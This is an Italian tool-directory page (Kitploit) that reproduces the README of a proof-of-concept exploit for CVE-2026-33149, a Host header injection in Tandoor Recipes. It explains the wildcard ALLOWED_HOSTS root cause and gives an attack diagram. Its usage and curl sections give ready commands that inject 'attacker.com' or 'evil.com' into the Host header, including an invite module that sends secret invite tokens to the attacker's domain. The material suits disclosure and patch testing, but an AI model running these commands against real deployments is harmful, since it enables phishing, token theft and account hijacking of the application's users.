Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33149-PoC — Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti. | Kitploit
Strumenti/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPhishingSicurezza WebPenetration Testing
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti.

Vedi Repository
286 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33149 — Iniezione dell'Header Host in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Riepilogo

Tandoor Recipes imposta ALLOWED_HOSTS = '*' per impostazione predefinita in settings.py, consentendo a Django di accettare qualsiasi valore nell'header HTTP Host senza validazione. L'applicazione utilizza request.build_absolute_uri() per generare URL assoluti in molteplici contesti sensibili alla sicurezza. Un attaccante che può inviare richieste con un header Host manipolato può reindirizzare tutti gli URL generati dal server verso un dominio controllato dall'attaccante.

L'impatto più critico è l'avvelenamento dei link di invito: quando un amministratore crea un invito utente, l'email inviata dal server contiene un link che punta al dominio dell'attaccante. La vittima clicca su un'email dall'aspetto legittimo, il token di invito viene esfiltrato e l'attaccante lo utilizza per dirottare il flusso di provisioning dell'account.

Dettagli della Vulnerabilità

CampoValore
ID CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Neutralizzazione Impropria degli Header HTTP per la Sintassi di Scripting
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Versione AffettaTandoor Recipes ≤ 2.5.3
VendorTandoorRecipes/recipes

Mappatura MITRE ATT&CK

ID TecnicaNomeRilevanza
T1557Adversary-in-the-MiddleManipolazione degli URL generati dal server per reindirizzare il traffico
T1566.002Phishing: Spearphishing LinkL'email di invito avvelenata contiene un link controllato dall'attaccante

Analisi della Causa Radice

1. ALLOWED_HOSTS Wildcard

File: recipes/settings.py:118

ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

ALLOWED_HOSTS di Django è una misura di sicurezza che valida l'header Host rispetto a una whitelist. Il wildcard '*' disabilita completamente questa validazione, consentendo qualsiasi valore arbitrario.

2. Generazione Non Sicura di URL nelle Email di Invito

File: cookbook/serializer.py:1852-1853

message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() costruisce gli URL utilizzando request.get_host(), che restituisce il valore grezzo dell'header Host quando ALLOWED_HOSTS non lo limita. L'UUID dell'invito — un token segreto — è incorporato nell'URL che ora punta all'attaccante.

3. Superfici Aggiuntive Interessate

  • Paginazione API — Le classi di paginazione DRF utilizzano build_absolute_uri() per gli URL next/previous
  • Schema OpenAPI — Il generatore di schema lo utilizza per gli URL del server
  • Avvelenamento della Cache — Le distribuzioni con proxy di caching rischiano di servire URL avvelenati a tutti gli utenti da una singola richiesta

Flusso dell'Attacco

┌──────────┐     ① Richiesta Manipolata      ┌─────────────────┐
│ Attaccante │ ──────────────────────────────→│  Server Tandoor │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             usa "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  Server SMTP   │
                                            └────────┬───────┘
                                                     │
                                       ③ Email con link avvelenato:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Vittima     │
                                            │  (clicca link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID inviato all'attaccante
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Attaccante   │
                                            │ usa UUID sul   │
                                            │ server reale   │
                                            └────────────────┘

Proof of Concept

Requisiti

  • Python 3.8+
  • Libreria requests
pip install requests

Utilizzo

# Esegui tutti i moduli di validazione con autenticazione di base
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Esegui tutti i moduli con cookie di sessione
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Solo avvelenamento del link di invito
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Moduli

ModuloDescrizione
host-acceptVerifica che il target accetti header Host arbitrari (ALLOWED_HOSTS = '*')
paginationConferma che gli URL di paginazione API riflettano il dominio iniettato
schemaConferma che gli URL del server dello schema OpenAPI riflettano il dominio iniettato
inviteCrea un link di invito avvelenato — il vettore d'attacco primario
allEsegue tutti i moduli in sequenza

Verifica Manuale (curl)

1. Accettazione dell'Header Host

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Atteso: 200 (vulnerabile) | 400 (corretto)

2. Riflessione dell'URL di Paginazione

curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Atteso: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
Scarica lo strumento